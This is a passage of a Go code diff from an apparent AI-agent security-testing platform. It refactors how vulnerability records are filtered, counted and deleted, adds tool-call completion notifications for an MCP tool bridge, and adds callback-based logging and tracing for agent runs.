&vuln.ID, &vuln.ConversationID, &vuln.ProjectID, &vuln.Title, &vuln.Description,
|
||||
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||
&vuln.Proof, &vuln.Impact, &vuln.Recommendation,
|
||||
&vuln.TaskID, &vuln.TaskQueueID,
|
||||
@@ -97,9 +181,9 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
}
|
||||
|
||||
// ListVulnerabilities 列出漏洞
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severity, status, taskID, conversationTag, taskTag string) ([]*Vulnerability, error) {
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||
query := `
|
||||
SELECT id, conversation_id, title, description, severity, status, conversation_tag, task_tag,
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -108,35 +192,7 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
WHERE 1=1
|
||||
`
|
||||
args := []interface{}{}
|
||||
|
||||
if id != "" {
|
||||
query += " AND id = ?"
|
||||
args = append(args, id)
|
||||
}
|
||||
if conversationID != "" {
|
||||
query += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
if conversationTag != "" {
|
||||
query += " AND conversation_tag = ?"
|
||||
args = append(args, conversationTag)
|
||||
}
|
||||
if taskTag != "" {
|
||||
query += " AND task_tag = ?"
|
||||
args = append(args, taskTag)
|
||||
}
|
||||
if severity != "" {
|
||||
query += " AND severity = ?"
|
||||
args = append(args, severity)
|
||||
}
|
||||
if status != "" {
|
||||
query += " AND status = ?"
|
||||
args = append(args, status)
|
||||
}
|
||||
query, args = filter.appendWhere(query, args)
|
||||
|
||||
query += " ORDER BY created_at DESC LIMIT ? OFFSET ?"
|
||||
args = append(args, limit, offset)
|
||||
@@ -151,7 +207,7 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
for rows.Next() {
|
||||
var vuln Vulnerability
|
||||
err := rows.Scan(
|
||||
&vuln.ID, &vuln.ConversationID, &vuln.Title, &vuln.Description,
|
||||
&vuln.ID, &vuln.ConversationID, &vuln.ProjectID, &vuln.Title, &vuln.Description,
|
||||
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||
&vuln.Proof, &vuln.Impact, &vuln.Recommendation,
|
||||
&vuln.TaskID, &vuln.TaskQueueID,
|
||||
@@ -168,38 +224,10 @@ func (db *DB) ListVulnerabilities(limit, offset int, id, conversationID, severit
|
||||
}
|
||||
|
||||
// CountVulnerabilities 统计漏洞总数(支持筛选条件)
|
||||
func (db *DB) CountVulnerabilities(id, conversationID, severity, status, taskID, conversationTag, taskTag string) (int, error) {
|
||||
func (db *DB) CountVulnerabilities(filter VulnerabilityListFilter) (int, error) {
|
||||
query := "SELECT COUNT(*) FROM vulnerabilities WHERE 1=1"
|
||||
args := []interface{}{}
|
||||
|
||||
if id != "" {
|
||||
query += " AND id = ?"
|
||||
args = append(args, id)
|
||||
}
|
||||
if conversationID != "" {
|
||||
query += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
if conversationTag != "" {
|
||||
query += " AND conversation_tag = ?"
|
||||
args = append(args, conversationTag)
|
||||
}
|
||||
if taskTag != "" {
|
||||
query += " AND task_tag = ?"
|
||||
args = append(args, taskTag)
|
||||
}
|
||||
if severity != "" {
|
||||
query += " AND severity = ?"
|
||||
args = append(args, severity)
|
||||
}
|
||||
if status != "" {
|
||||
query += " AND status = ?"
|
||||
args = append(args, status)
|
||||
}
|
||||
query, args = filter.appendWhere(query, args)
|
||||
|
||||
var count int
|
||||
err := db.QueryRow(query, args...).Scan(&count)
|
||||
@@ -216,7 +244,7 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||
|
||||
query := `
|
||||
UPDATE vulnerabilities
|
||||
SET conversation_tag = ?, task_tag = ?, title = ?, description = ?, severity = ?, status = ?,
|
||||
SET project_id = ?, conversation_tag = ?, task_tag = ?, title = ?, description = ?, severity = ?, status = ?,
|
||||
vulnerability_type = ?, target = ?, proof = ?, impact = ?,
|
||||
recommendation = ?, updated_at = ?
|
||||
WHERE id = ?
|
||||
@@ -224,7 +252,7 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.Severity, vuln.Status,
|
||||
nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.Severity, vuln.Status,
|
||||
vuln.Type, vuln.Target, vuln.Proof, vuln.Impact,
|
||||
vuln.Recommendation, vuln.UpdatedAt, id,
|
||||
)
|
||||
@@ -237,27 +265,32 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||
|
||||
// DeleteVulnerability 删除漏洞
|
||||
func (db *DB) DeleteVulnerability(id string) error {
|
||||
_, err := db.Exec("DELETE FROM vulnerabilities WHERE id = ?", id)
|
||||
tx, err := db.Begin()
|
||||
if err != nil {
|
||||
return fmt.Errorf("开启事务失败: %w", err)
|
||||
}
|
||||
defer func() { _ = tx.Rollback() }()
|
||||
|
||||
// 删除漏洞前先解除项目事实中的关联,避免前端继续显示已删除漏洞的短 ID。
|
||||
if _, err := tx.Exec("UPDATE project_facts SET related_vulnerability_id = NULL WHERE related_vulnerability_id = ?", id); err != nil {
|
||||
return fmt.Errorf("清理事实漏洞关联失败: %w", err)
|
||||
}
|
||||
if _, err := tx.Exec("DELETE FROM vulnerabilities WHERE id = ?", id); err != nil {
|
||||
return fmt.Errorf("删除漏洞失败: %w", err)
|
||||
}
|
||||
if err := tx.Commit(); err != nil {
|
||||
return fmt.Errorf("提交事务失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetVulnerabilityStats 获取漏洞统计(筛选条件与 ListVulnerabilities / CountVulnerabilities 一致)
|
||||
func (db *DB) GetVulnerabilityStats(conversationID, taskID string) (map[string]interface{}, error) {
|
||||
func (db *DB) GetVulnerabilityStats(filter VulnerabilityListFilter) (map[string]interface{}, error) {
|
||||
stats := make(map[string]interface{})
|
||||
|
||||
where := "WHERE 1=1"
|
||||
args := []interface{}{}
|
||||
if conversationID != "" {
|
||||
where += " AND conversation_id = ?"
|
||||
args = append(args, conversationID)
|
||||
}
|
||||
if taskID != "" {
|
||||
where += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, taskID, taskID)
|
||||
}
|
||||
where, args = filter.appendWhere(where, args)
|
||||
|
||||
// 总漏洞数
|
||||
var totalCount int
|
||||
@@ -357,10 +390,15 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询任务标签建议失败: %w", err)
|
||||
}
|
||||
projectIDs, err := collect(`SELECT DISTINCT project_id FROM vulnerabilities WHERE project_id IS NOT NULL AND project_id <> '' ORDER BY created_at DESC LIMIT 200`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询项目ID建议失败: %w", err)
|
||||
}
|
||||
|
||||
return map[string][]string{
|
||||
"vulnerability_ids": vulnIDs,
|
||||
"conversation_ids": conversationIDs,
|
||||
"project_ids": projectIDs,
|
||||
"task_ids": taskIDs,
|
||||
"queue_ids": queueIDs,
|
||||
"conversation_tags": conversationTags,
|
||||
|
||||
@@ -23,12 +23,16 @@ type ExecutionRecorder func(executionID string)
|
||||
const ToolErrorPrefix = "__CYBERSTRIKE_AI_TOOL_ERROR__\n"
|
||||
|
||||
// ToolsFromDefinitions 将单 Agent 使用的 OpenAI 风格工具定义转为 Eino InvokableTool,执行时走 Agent 的 MCP 路径。
|
||||
// invokeNotify 可选:与 runEinoADKAgentLoop 共享,在 InvokableRun 返回时触发 UI 与 pending 清理(与 ADK Tool 事件去重)。
|
||||
// einoAgentName 为该套工具所属 ChatModelAgent 的 Name(主代理或子代理 id),用于 SSE 上的 einoAgent 字段。
|
||||
func ToolsFromDefinitions(
|
||||
ag *agent.Agent,
|
||||
holder *ConversationHolder,
|
||||
defs []agent.Tool,
|
||||
rec ExecutionRecorder,
|
||||
toolOutputChunk func(toolName, toolCallID, chunk string),
|
||||
invokeNotify *ToolInvokeNotifyHolder,
|
||||
einoAgentName string,
|
||||
) ([]tool.BaseTool, error) {
|
||||
out := make([]tool.BaseTool, 0, len(defs))
|
||||
for _, d := range defs {
|
||||
@@ -40,12 +44,14 @@ func ToolsFromDefinitions(
|
||||
return nil, fmt.Errorf("tool %q: %w", d.Function.Name, err)
|
||||
}
|
||||
out = append(out, &mcpBridgeTool{
|
||||
info: info,
|
||||
name: d.Function.Name,
|
||||
agent: ag,
|
||||
holder: holder,
|
||||
record: rec,
|
||||
chunk: toolOutputChunk,
|
||||
info: info,
|
||||
name: d.Function.Name,
|
||||
agent: ag,
|
||||
holder: holder,
|
||||
record: rec,
|
||||
chunk: toolOutputChunk,
|
||||
invokeNotify: invokeNotify,
|
||||
einoAgentName: strings.TrimSpace(einoAgentName),
|
||||
})
|
||||
}
|
||||
return out, nil
|
||||
@@ -77,12 +83,14 @@ func toolInfoFromDefinition(d agent.Tool) (*schema.ToolInfo, error) {
|
||||
}
|
||||
|
||||
type mcpBridgeTool struct {
|
||||
info *schema.ToolInfo
|
||||
name string
|
||||
agent *agent.Agent
|
||||
holder *ConversationHolder
|
||||
record ExecutionRecorder
|
||||
chunk func(toolName, toolCallID, chunk string)
|
||||
info *schema.ToolInfo
|
||||
name string
|
||||
agent *agent.Agent
|
||||
holder *ConversationHolder
|
||||
record ExecutionRecorder
|
||||
chunk func(toolName, toolCallID, chunk string)
|
||||
invokeNotify *ToolInvokeNotifyHolder
|
||||
einoAgentName string
|
||||
}
|
||||
|
||||
func (m *mcpBridgeTool) Info(ctx context.Context) (*schema.ToolInfo, error) {
|
||||
@@ -90,8 +98,27 @@ func (m *mcpBridgeTool) Info(ctx context.Context) (*schema.ToolInfo, error) {
|
||||
return m.info, nil
|
||||
}
|
||||
|
||||
func (m *mcpBridgeTool) InvokableRun(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (string, error) {
|
||||
func (m *mcpBridgeTool) InvokableRun(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (out string, err error) {
|
||||
_ = opts
|
||||
toolCallID := compose.GetToolCallID(ctx)
|
||||
defer func() {
|
||||
if m.invokeNotify == nil {
|
||||
return
|
||||
}
|
||||
tid := strings.TrimSpace(toolCallID)
|
||||
if tid == "" {
|
||||
return
|
||||
}
|
||||
success := err == nil && !strings.HasPrefix(out, ToolErrorPrefix)
|
||||
body := out
|
||||
if err != nil {
|
||||
success = false
|
||||
} else if strings.HasPrefix(out, ToolErrorPrefix) {
|
||||
success = false
|
||||
body = strings.TrimPrefix(out, ToolErrorPrefix)
|
||||
}
|
||||
m.invokeNotify.Fire(tid, m.name, m.einoAgentName, success, body, err)
|
||||
}()
|
||||
return runMCPToolInvocation(ctx, m.agent, m.holder, m.name, argumentsInJSON, m.record, m.chunk)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
package einomcp
|
||||
|
||||
import "sync"
|
||||
|
||||
// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调;MCP 桥在每次 InvokableRun 结束时 Fire,
|
||||
// 用于在 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending,避免 UI 卡在「执行中」或迭代末 force-close。
|
||||
type ToolInvokeNotifyHolder struct {
|
||||
mu sync.RWMutex
|
||||
fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)
|
||||
}
|
||||
|
||||
// NewToolInvokeNotifyHolder 创建可在 ToolsFromDefinitions 与 run loop 之间共享的 holder。
|
||||
func NewToolInvokeNotifyHolder() *ToolInvokeNotifyHolder {
|
||||
return &ToolInvokeNotifyHolder{}
|
||||
}
|
||||
|
||||
// Set 由 runEinoADKAgentLoop 在开始消费 iter 之前调用;可多次覆盖(通常仅一次)。
|
||||
func (h *ToolInvokeNotifyHolder) Set(fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
h.fn = fn
|
||||
}
|
||||
|
||||
// Fire 由 mcpBridgeTool 在工具调用返回时调用;若尚未 Set 或 toolCallID 为空则忽略。
|
||||
func (h *ToolInvokeNotifyHolder) Fire(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.RLock()
|
||||
fn := h.fn
|
||||
h.mu.RUnlock()
|
||||
if fn == nil {
|
||||
return
|
||||
}
|
||||
fn(toolCallID, toolName, einoAgent, success, content, invokeErr)
|
||||
}
|
||||
@@ -0,0 +1,451 @@
|
||||
// Package einoobserve attaches CloudWeGo Eino [callbacks.Handler] to ADK Runner contexts for
|
||||
// structured logging and optional SSE trace events (eino_trace_*).
|
||||
package einoobserve
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/callbacks"
|
||||
"github.com/cloudwego/eino/components"
|
||||
"github.com/cloudwego/eino/components/model"
|
||||
"github.com/cloudwego/eino/components/tool"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
"github.com/google/uuid"
|
||||
"go.opentelemetry.io/otel"
|
||||
"go.opentelemetry.io/otel/attribute"
|
||||
"go.opentelemetry.io/otel/codes"
|
||||
"go.opentelemetry.io/otel/trace"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
type ctxSpanKey struct{}
|
||||
|
||||
type ctxOtelSpanKey struct{}
|
||||
|
||||
// Params for attaching per-run callback instrumentation.
|
||||
type Params struct {
|
||||
Logger *zap.Logger
|
||||
Progress func(eventType, message string, data interface{})
|
||||
ConversationID string
|
||||
OrchMode string
|
||||
OrchestratorName string
|
||||
}
|
||||
|
||||
// AttachAgentRunCallbacks returns ctx wrapped with callbacks.InitCallbacks when enabled.
|
||||
// Safe to call with nil cfg or disabled cfg (returns ctx unchanged).
|
||||
func AttachAgentRunCallbacks(ctx context.Context, cfg *config.MultiAgentEinoCallbacksConfig, p Params) context.Context {
|
||||
if ctx == nil {
|
||||
return ctx
|
||||
}
|
||||
if cfg == nil || !cfg.Enabled {
|
||||
return ctx
|
||||
}
|
||||
mode := cfg.EinoCallbacksModeEffective()
|
||||
if mode == "off" {
|
||||
return ctx
|
||||
}
|
||||
runID := uuid.New().String()
|
||||
if p.Progress != nil && cfg.ShouldEmitEinoTraceSSE(mode) {
|
||||
p.Progress("eino_trace_run", "Eino callbacks session", map[string]interface{}{
|
||||
"runId": runID,
|
||||
"conversationId": strings.TrimSpace(p.ConversationID),
|
||||
"orchestration": strings.TrimSpace(p.OrchMode),
|
||||
"orchestratorName": strings.TrimSpace(p.OrchestratorName),
|
||||
"observeMode": mode,
|
||||
"source": "eino_callbacks",
|
||||
})
|
||||
}
|
||||
h := &runHandler{
|
||||
cfg: *cfg,
|
||||
mode: mode,
|
||||
params: p,
|
||||
runID: runID,
|
||||
}
|
||||
b := callbacks.NewHandlerBuilder().
|
||||
OnStartFn(h.onStart).
|
||||
OnEndFn(h.onEnd).
|
||||
OnErrorFn(h.onError)
|
||||
if mode == "full" {
|
||||
b = b.OnStartWithStreamInputFn(h.onStartStreamIn).OnEndWithStreamOutputFn(h.onEndStreamOut)
|
||||
}
|
||||
ri := &callbacks.RunInfo{
|
||||
Name: "CyberStrikeADKRun",
|
||||
Type: strings.TrimSpace(p.OrchMode),
|
||||
Component: components.Component("AgentSession"),
|
||||
}
|
||||
return callbacks.InitCallbacks(ctx, ri, b.Build())
|
||||
}
|
||||
|
||||
type runHandler struct {
|
||||
cfg config.MultiAgentEinoCallbacksConfig
|
||||
mode string
|
||||
params Params
|
||||
runID string
|
||||
|
||||
mu sync.Mutex
|
||||
spanStack []string
|
||||
seq atomic.Uint64
|
||||
}
|
||||
|
||||
func safeRunInfo(info *callbacks.RunInfo) callbacks.RunInfo {
|
||||
if info == nil {
|
||||
return callbacks.RunInfo{
|
||||
Name: "unknown",
|
||||
Type: "unknown",
|
||||
Component: components.Component("unknown"),
|
||||
}
|
||||
}
|
||||
return *info
|
||||
}
|
||||
|
||||
func (h *runHandler) genSpanID() string {
|
||||
return fmt.Sprintf("%s-%d", h.runID, h.seq.Add(1))
|
||||
}
|
||||
|
||||
func (h *runHandler) popSpan() (id string) {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
if len(h.spanStack) == 0 {
|
||||
return ""
|
||||
}
|
||||
id = h.spanStack[len(h.spanStack)-1]
|
||||
h.spanStack = h.spanStack[:len(h.spanStack)-1]
|
||||
return id
|
||||
}
|
||||
|
||||
// popMatching removes the given id from the stack top if it matches; otherwise pops until empty or match (rare ordering mismatch).
|
||||
func (h *runHandler) popMatching(want string) string {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
if want == "" {
|
||||
if len(h.spanStack) == 0 {
|
||||
return ""
|
||||
}
|
||||
id := h.spanStack[len(h.spanStack)-1]
|
||||
h.spanStack = h.spanStack[:len(h.spanStack)-1]
|
||||
return id
|
||||
}
|
||||
for len(h.spanStack) > 0 {
|
||||
top := h.spanStack[len(h.spanStack)-1]
|
||||
h.spanStack = h.spanStack[:len(h.spanStack)-1]
|
||||
if top == want {
|
||||
return top
|
||||
}
|
||||
}
|
||||
return want
|
||||
}
|
||||
|
||||
func (h *runHandler) onStart(ctx context.Context, info *callbacks.RunInfo, input callbacks.CallbackInput) context.Context {
|
||||
ri := safeRunInfo(info)
|
||||
var parentID string
|
||||
h.mu.Lock()
|
||||
if len(h.spanStack) > 0 {
|
||||
parentID = h.spanStack[len(h.spanStack)-1]
|
||||
}
|
||||
spanID := h.genSpanID()
|
||||
h.spanStack = append(h.spanStack, spanID)
|
||||
h.mu.Unlock()
|
||||
|
||||
inSum := summarizeCallbackInput(input, h.cfg.EinoCallbacksMaxInputSummaryRunes())
|
||||
if h.cfg.OtelTracingActive() {
|
||||
tracer := otel.Tracer("cyberstrike/eino")
|
||||
spanName := callbackSpanName(info)
|
||||
var sp trace.Span
|
||||
ctx, sp = tracer.Start(ctx, spanName,
|
||||
trace.WithSpanKind(trace.SpanKindInternal),
|
||||
trace.WithAttributes(
|
||||
attribute.String("eino.component", string(ri.Component)),
|
||||
attribute.String("eino.name", ri.Name),
|
||||
attribute.String("eino.type", ri.Type),
|
||||
attribute.String("cyberstrike.run_id", h.runID),
|
||||
attribute.String("cyberstrike.conversation_id", strings.TrimSpace(h.params.ConversationID)),
|
||||
attribute.String("cyberstrike.orchestration", strings.TrimSpace(h.params.OrchMode)),
|
||||
),
|
||||
)
|
||||
if inSum != "" {
|
||||
sp.SetAttributes(attribute.String("eino.input.summary", truncateForAttr(inSum, 256)))
|
||||
}
|
||||
ctx = context.WithValue(ctx, ctxOtelSpanKey{}, sp)
|
||||
}
|
||||
if h.params.Logger != nil {
|
||||
fields := []zap.Field{
|
||||
zap.String("runId", h.runID),
|
||||
zap.String("spanId", spanID),
|
||||
zap.String("parentSpanId", parentID),
|
||||
zap.String("component", string(ri.Component)),
|
||||
zap.String("name", ri.Name),
|
||||
zap.String("type", ri.Type),
|
||||
zap.String("phase", "start"),
|
||||
}
|
||||
if sp, ok := ctx.Value(ctxOtelSpanKey{}).(trace.Span); ok && sp != nil {
|
||||
if sc := sp.SpanContext(); sc.IsValid() {
|
||||
fields = append(fields,
|
||||
zap.String("trace_id", sc.TraceID().String()),
|
||||
zap.String("otel_span_id", sc.SpanID().String()),
|
||||
)
|
||||
}
|
||||
}
|
||||
if h.cfg.ZapVerbose {
|
||||
h.params.Logger.Debug("eino_callback", append(fields, zap.String("inputSummary", inSum))...)
|
||||
} else {
|
||||
h.params.Logger.Info("eino_callback", fields...)
|
||||
}
|
||||
}
|
||||
if h.params.Progress != nil && h.cfg.ShouldEmitEinoTraceSSE(h.mode) {
|
||||
h.params.Progress("eino_trace_start", "", map[string]interface{}{
|
||||
"runId": h.runID,
|
||||
"spanId": spanID,
|
||||
"parentSpanId": parentID,
|
||||
"conversationId": strings.TrimSpace(h.params.ConversationID),
|
||||
"orchestration": strings.TrimSpace(h.params.OrchMode),
|
||||
"component": string(ri.Component),
|
||||
"name": ri.Name,
|
||||
"type": ri.Type,
|
||||
"ts": time.Now().UTC().Format(time.RFC3339Nano),
|
||||
"inputSummary": inSum,
|
||||
"source": "eino_callbacks",
|
||||
})
|
||||
}
|
||||
ctx = context.WithValue(ctx, ctxSpanKey{}, spanID)
|
||||
return ctx
|
||||
}
|
||||
|
||||
func (h *runHandler) onEnd(ctx context.Context, info *callbacks.RunInfo, output callbacks.CallbackOutput) context.Context {
|
||||
ri := safeRunInfo(info)
|
||||
spanID, _ := ctx.Value(ctxSpanKey{}).(string)
|
||||
if spanID == "" {
|
||||
spanID = h.popSpan()
|
||||
} else {
|
||||
spanID = h.popMatching(spanID)
|
||||
}
|
||||
outSum := summarizeCallbackOutput(output, h.cfg.EinoCallbacksMaxOutputSummaryRunes())
|
||||
if sp, ok := ctx.Value(ctxOtelSpanKey{}).(trace.Span); ok && sp != nil {
|
||||
if outSum != "" {
|
||||
sp.SetAttributes(attribute.String("eino.output.summary", truncateForAttr(outSum, 256)))
|
||||
}
|
||||
sp.SetStatus(codes.Ok, "")
|
||||
sp.End()
|
||||
}
|
||||
if h.params.Logger != nil {
|
||||
fields := []zap.Field{
|
||||
zap.String("runId", h.runID),
|
||||
zap.String("spanId", spanID),
|
||||
zap.String("component", string(ri.Component)),
|
||||
zap.String("name", ri.Name),
|
||||
zap.String("type", ri.Type),
|
||||
zap.String("phase", "end"),
|
||||
}
|
||||
if h.cfg.ZapVerbose {
|
||||
h.params.Logger.Debug("eino_callback", append(fields, zap.String("outputSummary", outSum))...)
|
||||
} else {
|
||||
h.params.Logger.Info("eino_callback", fields...)
|
||||
}
|
||||
}
|
||||
if h.params.Progress != nil && h.cfg.ShouldEmitEinoTraceSSE(h.mode) {
|
||||
h.params.Progress("eino_trace_end", "", map[string]interface{}{
|
||||
"runId": h.runID,
|
||||
"spanId": spanID,
|
||||
"conversationId": strings.TrimSpace(h.params.ConversationID),
|
||||
"orchestration": strings.TrimSpace(h.params.OrchMode),
|
||||
"component": string(ri.Component),
|
||||
"name": ri.Name,
|
||||
"type": ri.Type,
|
||||
"ts": time.Now().UTC().Format(time.RFC3339Nano),
|
||||
"outputSummary": outSum,
|
||||
"source": "eino_callbacks",
|
||||
})
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
|
||||
func (h *runHandler) onError(ctx context.Context, info *callbacks.RunInfo, err error) context.Context {
|
||||
ri := safeRunInfo(info)
|
||||
spanID, _ := ctx.Value(ctxSpanKey{}).(string)
|
||||
if spanID == "" {
|
||||
spanID = h.popSpan()
|
||||
} else {
|
||||
spanID = h.popMatching(spanID)
|
||||
}
|
||||
msg := ""
|
||||
if err != nil {
|
||||
msg = truncateRunes(err.Error(), h.cfg.EinoCallbacksMaxOutputSummaryRunes())
|
||||
}
|
||||
if sp, ok := ctx.Value(ctxOtelSpanKey{}).(trace.Span); ok && sp != nil {
|
||||
if err != nil {
|
||||
sp.RecordError(err)
|
||||
}
|
||||
sp.SetStatus(codes.Error, msg)
|
||||
sp.End()
|
||||
}
|
||||
if h.params.Logger != nil {
|
||||
h.params.Logger.Warn("eino_callback_error",
|
||||
zap.String("runId", h.runID),
|
||||
zap.String("spanId", spanID),
|
||||
zap.String("component", string(ri.Component)),
|
||||
zap.String("name", ri.Name),
|
||||
zap.String("type", ri.Type),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
if h.params.Progress != nil && h.cfg.ShouldEmitEinoTraceSSE(h.mode) {
|
||||
h.params.Progress("eino_trace_error", msg, map[string]interface{}{
|
||||
"runId": h.runID,
|
||||
"spanId": spanID,
|
||||
"conversationId": strings.TrimSpace(h.params.ConversationID),
|
||||
"orchestration": strings.TrimSpace(h.params.OrchMode),
|
||||
"component": string(ri.Component),
|
||||
"name": ri.Name,
|
||||
"type": ri.Type,
|
||||
"ts": time.Now().UTC().Format(time.RFC3339Nano),
|
||||
"error": msg,
|
||||
"source": "eino_callbacks",
|
||||
})
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
|
||||
func (h *runHandler) onStartStreamIn(ctx context.Context, info *callbacks.RunInfo, input *schema.StreamReader[callbacks.CallbackInput]) context.Context {
|
||||
ri := safeRunInfo(info)
|
||||
if input != nil {
|
||||
input.Close()
|
||||
}
|
||||
if h.params.Logger != nil {
|
||||
h.params.Logger.Debug("eino_callback_stream_in",
|
||||
zap.String("runId", h.runID),
|
||||
zap.String("component", string(ri.Component)),
|
||||
zap.String("name", ri.Name),
|
||||
)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
|
||||
func (h *runHandler) onEndStreamOut(ctx context.Context, info *callbacks.RunInfo, output *schema.StreamReader[callbacks.CallbackOutput]) context.Context {
|
||||
ri := safeRunInfo(info)
|
||||
if output != nil {
|
||||
output.Close()
|
||||
}
|
||||
if h.params.Logger != nil {
|
||||
h.params.Logger.Debug("eino_callback_stream_out",
|
||||
zap.String("runId", h.runID),
|
||||
zap.String("component", string(ri.Component)),
|
||||
zap.String("name", ri.Name),
|
||||
)
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
|
||||
func callbackSpanName(info *callbacks.RunInfo) string {
|
||||
if info == nil {
|
||||
return "eino.callback"
|
||||
}
|
||||
comp := strings.TrimSpace(string(info.Component))
|
||||
name := strings.TrimSpace(info.Name)
|
||||
typ := strings.TrimSpace(info.Type)
|
||||
if name != "" && comp != "" {
|
||||
return comp + "/" + name
|
||||
}
|
||||
if typ != "" && comp != "" {
|
||||
return comp + "[" + typ + "]"
|
||||
}
|
||||
if comp != "" {
|
||||
return comp
|
||||
}
|
||||
return "eino.callback"
|
||||
}
|
||||
|
||||
func truncateForAttr(s string, maxRunes int) string {
|
||||
return truncateRunes(s, maxRunes)
|
||||
}
|
||||
|
||||
func summarizeCallbackInput(in callbacks.CallbackInput, maxRunes int) string {
|
||||
if in == nil {
|
||||
return ""
|
||||
}
|
||||
if ai := adk.ConvAgentCallbackInput(in); ai != nil {
|
||||
parts := []string{"agent"}
|
||||
if ai.Input != nil {
|
||||
parts = append(parts, fmt.Sprintf("messages=%d", len(ai.Input.Messages)))
|
||||
}
|
||||
if ai.ResumeInfo != nil {
|
||||
parts = append(parts, "resume=true")
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
if mi := model.ConvCallbackInput(in); mi != nil {
|
||||
return fmt.Sprintf("chatModel messages=%d tools=%d", len(mi.Messages), len(mi.Tools))
|
||||
}
|
||||
if ti := tool.ConvCallbackInput(in); ti != nil {
|
||||
raw := ti.ArgumentsInJSON
|
||||
return "tool args=" + truncateRunes(raw, maxRunes)
|
||||
}
|
||||
b, err := json.Marshal(in)
|
||||
if err != nil {
|
||||
return fmt.Sprintf("%T", in)
|
||||
}
|
||||
return truncateRunes(string(b), maxRunes)
|
||||
}
|
||||
|
||||
func summarizeCallbackOutput(out callbacks.CallbackOutput, maxRunes int) string {
|
||||
if out == nil {
|
||||
return ""
|
||||
}
|
||||
if ao := adk.ConvAgentCallbackOutput(out); ao != nil {
|
||||
return "agent_events=stream"
|
||||
}
|
||||
if mo := model.ConvCallbackOutput(out); mo != nil && mo.Message != nil {
|
||||
s := ""
|
||||
if mo.Message.Content != "" {
|
||||
s = mo.Message.Content
|
||||
}
|
||||
if mo.TokenUsage != nil {
|
||||
return fmt.Sprintf("tokens total=%d completion=%d prompt=%d text=%s",
|
||||
mo.TokenUsage.TotalTokens, mo.TokenUsage.CompletionTokens, mo.TokenUsage.PromptTokens,
|
||||
truncateRunes(s, minInt(120, maxRunes)))
|
||||
}
|
||||
return "assistant len=" + itoa(len(s))
|
||||
}
|
||||
if to := tool.ConvCallbackOutput(out); to != nil {
|
||||
if to.Response != "" {
|
||||
return truncateRunes(to.Response, maxRunes)
|
||||
}
|
||||
if to.ToolOutput != nil {
|
||||
return "tool_result multimodal"
|
||||
}
|
||||
}
|
||||
b, err := json.Marshal(out)
|
||||
if err != nil {
|
||||
